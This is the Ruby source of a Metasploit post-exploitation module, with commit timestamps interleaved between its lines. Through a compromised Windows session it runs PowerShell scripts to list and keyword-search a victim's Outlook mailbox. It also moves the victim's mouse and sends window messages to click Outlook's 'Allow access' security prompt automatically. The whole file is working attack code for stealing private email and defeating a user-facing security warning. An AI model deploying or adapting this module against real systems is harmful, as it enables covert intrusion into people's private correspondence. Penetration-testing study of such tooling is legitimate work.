2014-11-17 18:38:55 +00:00
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf :: Post
2014-11-18 11:41:24 +00:00
include Msf :: Post :: Windows :: Registry
2014-12-03 17:30:22 +00:00
include Msf :: Post :: Windows :: Powershell
2014-11-17 18:38:55 +00:00
2014-11-25 13:36:14 +00:00
A_HASH = { " en_US " = > " Allow " , " NL " = > " Toestaan " , " de_DE " = > " Erteilen " , " de_AT " = > " Erteilen " }
2014-12-03 17:30:22 +00:00
ACF_HASH = { " en_US " = > " Allow access for " , " NL " = > " Toegang geven voor " , " de_DE " = > " Zugriff gew \xc3 \xa4 hren f \xc3 \xbc r " , " de_AT " = > " Zugriff gew \xc3 \xa4 hren f \xc3 \xbc r " }
2014-11-17 18:38:55 +00:00
2014-11-18 11:41:24 +00:00
def initialize ( info = { } )
super ( update_info ( info ,
'Name' = > 'Windows Gather Outlook Email Messages' ,
'Description' = > %q{
This module allows you to read and search email messages from the local Outlook installation using powershell . Please note that this module is manipulating the victims keyboard / mouse .
If a victim is behind the target system , he might notice the activities of this module . Tested on Windows 8 . 1 x64 with Office 2013 .
} ,
'License' = > MSF_LICENSE ,
'Author' = > [ 'Wesley Neelen <security[at]forsec.nl>' ] ,
'Platform' = > [ 'win' ] ,
2014-12-02 13:05:08 +00:00
'Arch' = > [ 'x86' , 'x64' ] ,
'SessionTypes' = > [ 'meterpreter' ] ,
'Actions' = > [
[ 'LIST' , { 'Description' = > 'Lists all folders' } ] ,
[ 'SEARCH' , { 'Description' = > 'Searches for an email' } ]
] ,
'DefaultAction' = > 'LIST'
2014-11-18 11:41:24 +00:00
) )
register_options (
[
OptString . new ( 'FOLDER' , [ false , ' The e-mailfolder to read (e.g. Inbox)' ] ) ,
OptString . new ( 'KEYWORD' , [ false , ' Search e-mails by the keyword specified here' ] ) ,
OptString . new ( 'A_TRANSLATION' , [ false , ' Fill in the translation of the word "Allow" in the targets system language, to click on the security popup.' ] ) ,
OptString . new ( 'ACF_TRANSLATION' , [ false , ' Fill in the translation of the phrase "Allow access for" in the targets system language, to click on the security popup.' ] ) ,
] , self . class )
end
def listBoxes
# This function prints a listing of available mailbox folders
psh_script = % Q |
2014-12-02 13:05:08 +00:00
function GetSubfolders ( $root ) {
$folders = @ ( )
$folders += $root
foreach ( $folder in $root . Folders ) {
$folders += GetSubfolders ( $folder )
}
return $folders
2014-11-18 11:41:24 +00:00
}
2014-12-02 13:05:08 +00:00
function List - Folder {
Clear - host
Add - Type - Assembly " Microsoft.Office.Interop.Outlook "
$Outlook = New - Object - ComObject Outlook . Application
$Namespace = $Outlook . GetNameSpace ( " MAPI " )
$account = $NameSpace . Folders
$folders = @ ( )
foreach ( $acc in $account ) {
foreach ( $folder in $acc . Folders ) {
$folders += GetSubfolders ( $folder )
}
}
$folders \ | FT FolderPath
2014-12-03 17:30:22 +00:00
}
2014-11-18 11:41:24 +00:00
List - Folder
|
2014-12-03 17:30:22 +00:00
compressed_script = compress_script ( psh_script )
cmd_out , runnings_pids , open_channels = execute_script ( compressed_script )
while ( d = cmd_out . channel . read )
print ( " #{ d } " )
end
2014-11-18 11:41:24 +00:00
currentidle = session . ui . idle_time
2014-12-02 13:05:08 +00:00
print ( " \n " )
2014-11-18 11:41:24 +00:00
print_status ( " System has currently been idle for #{ currentidle } seconds " )
end
def readEmails ( folder , keyword , searchobject , atrans , acftrans )
# This functions reads Outlook using powershell scripts
view = framework . threads . spawn ( " ButtonClicker " , false ) {
clickButton ( atrans , acftrans )
}
psh_script = % Q |
function Get - Emails {
param ( [ String ] $searchTerm , [ String ] $Folder , [ String ] $searchObject )
Add - Type - Assembly " Microsoft.Office.Interop.Outlook "
$Outlook = New - Object - ComObject Outlook . Application
$Namespace = $Outlook . GetNameSpace ( " MAPI " )
2014-12-02 13:05:08 +00:00
$account = $NameSpace . Folders
$count = 0
foreach ( $acc in $account ) {
$count = $count + 1
2014-12-03 17:30:22 +00:00
try {
2014-12-02 13:05:08 +00:00
$Email = $NameSpace . Folders . Item ( $count ) . Folders . Item ( $Folder ) . Items
2014-12-03 17:30:22 +00:00
$Email \ | Where - Object { $_ . $searchObject - like '*' + $searchTerm + '*' } \ | Format - List To , SenderEmailAddress , CreationTime , TaskSubject , HTMLBody
} catch {
Write - Host " Folder not found in mailbox $count "
2014-12-02 13:05:08 +00:00
}
2014-12-03 17:30:22 +00:00
}
2014-11-18 11:41:24 +00:00
}
Get - Emails " #{ keyword } " " #{ folder } " " #{ searchobject } "
|
2014-12-03 17:30:22 +00:00
compressed_script = compress_script ( psh_script )
cmd_out , runnings_pids , open_channels = execute_script ( compressed_script , 120 )
while ( d = cmd_out . channel . read )
2014-11-18 15:27:33 +00:00
print ( " #{ d } " )
end
2014-11-18 11:41:24 +00:00
end
def clickButton ( atrans , acftrans )
# This functions clicks on the security notification generated by Outlook.
sleep 1
hwnd = client . railgun . user32 . FindWindowW ( nil , " Microsoft Outlook " )
hwndChildCk = client . railgun . user32 . FindWindowExW ( hwnd [ 'return' ] , nil , " Button " , " & #{ acftrans } " )
client . railgun . user32 . SendMessageW ( hwndChildCk [ 'return' ] , 0x00F1 , 1 , nil )
client . railgun . user32 . MoveWindow ( hwnd [ 'return' ] , 150 , 150 , 1 , 1 , true )
hwndChild = client . railgun . user32 . FindWindowExW ( hwnd [ 'return' ] , nil , " Button " , " #{ atrans } " )
client . railgun . user32 . SetActiveWindow ( hwndChild [ 'return' ] )
2014-11-18 15:27:33 +00:00
client . railgun . user32 . SetForegroundWindow ( hwndChild [ 'return' ] )
client . railgun . user32 . SetCursorPos ( 150 , 150 )
2014-11-18 11:41:24 +00:00
client . railgun . user32 . mouse_event ( 0x0002 , 150 , 150 , nil , nil )
client . railgun . user32 . SendMessageW ( hwndChild [ 'return' ] , 0x00F5 , 0 , nil )
end
def run
# Main method
folder = datastore [ 'FOLDER' ]
keyword = datastore [ 'KEYWORD' ] . to_s
object = " HTMLBody "
allow = datastore [ 'A_TRANSLATION' ]
allow_access_for = datastore [ 'ACF_TRANSLATION' ]
2014-12-02 13:05:08 +00:00
langNotSupported = true
2014-11-18 11:41:24 +00:00
# OS language check
sysLang = client . sys . config . sysinfo [ 'System Language' ]
2014-12-02 13:05:08 +00:00
A_HASH . each do | key , val |
if sysLang == key
langNotSupported = false
atrans = A_HASH [ sysLang ]
acftrans = ACF_HASH [ sysLang ]
end
2014-11-18 11:41:24 +00:00
end
2014-11-18 15:27:33 +00:00
if allow and allow_access_for
atrans = allow
acftrans = allow_access_for
2014-11-21 19:00:30 +00:00
else
if langNotSupported == true
2014-12-02 13:05:08 +00:00
print_error ( " System language not supported, you can specify the targets system translations in the options A_TRANSLATION (Allow) and ACF_TRANSLATION (Allow access for) " )
2014-11-21 19:00:30 +00:00
abort ( )
end
2014-11-18 15:27:33 +00:00
end
2014-11-18 11:41:24 +00:00
# Outlook installed
@key_base = " HKCU \\ Software \\ Microsoft \\ Windows NT \\ CurrentVersion \\ Windows Messaging Subsystem \\ Profiles \\ Outlook \\ 9375CFF0413111d3B88A00104B2A6676 "
outlookInstalled = registry_getvaldata ( " #{ @key_base } \\ " , " NextAccountID " )
if ! outlookInstalled . nil?
if outlookInstalled != 0
print_good " Outlook is installed "
else
print_error " Outlook is not installed "
abort ( )
end
end
# Powershell installed check
powershellInstalled = registry_enumkeys ( " HKLM \\ SOFTWARE \\ Microsoft \\ " ) . include? ( " PowerShell " )
if ! powershellInstalled . nil?
if powershellInstalled != 0
print_good ( " Powershell is installed on this system. " )
else
print_error ( " Powershell is not installed " )
abort ( )
end
end
# Check whether target system is locked
locked = client . railgun . user32 . GetForegroundWindow ( ) [ 'return' ]
if locked == 0
print_error ( " Target system is locked. This post module cannot click on Outlooks security warning when the target system is locked " )
abort ( )
end
2014-12-02 13:05:08 +00:00
if action . name == " LIST "
2014-11-18 11:41:24 +00:00
print_good ( 'Available folders in the mailbox: ' )
listBoxes ( )
end
2014-12-02 13:05:08 +00:00
if action . name == " SEARCH "
2014-11-18 11:41:24 +00:00
readEmails ( folder , keyword , object , atrans , acftrans )
end
end
2014-11-17 18:38:55 +00:00
end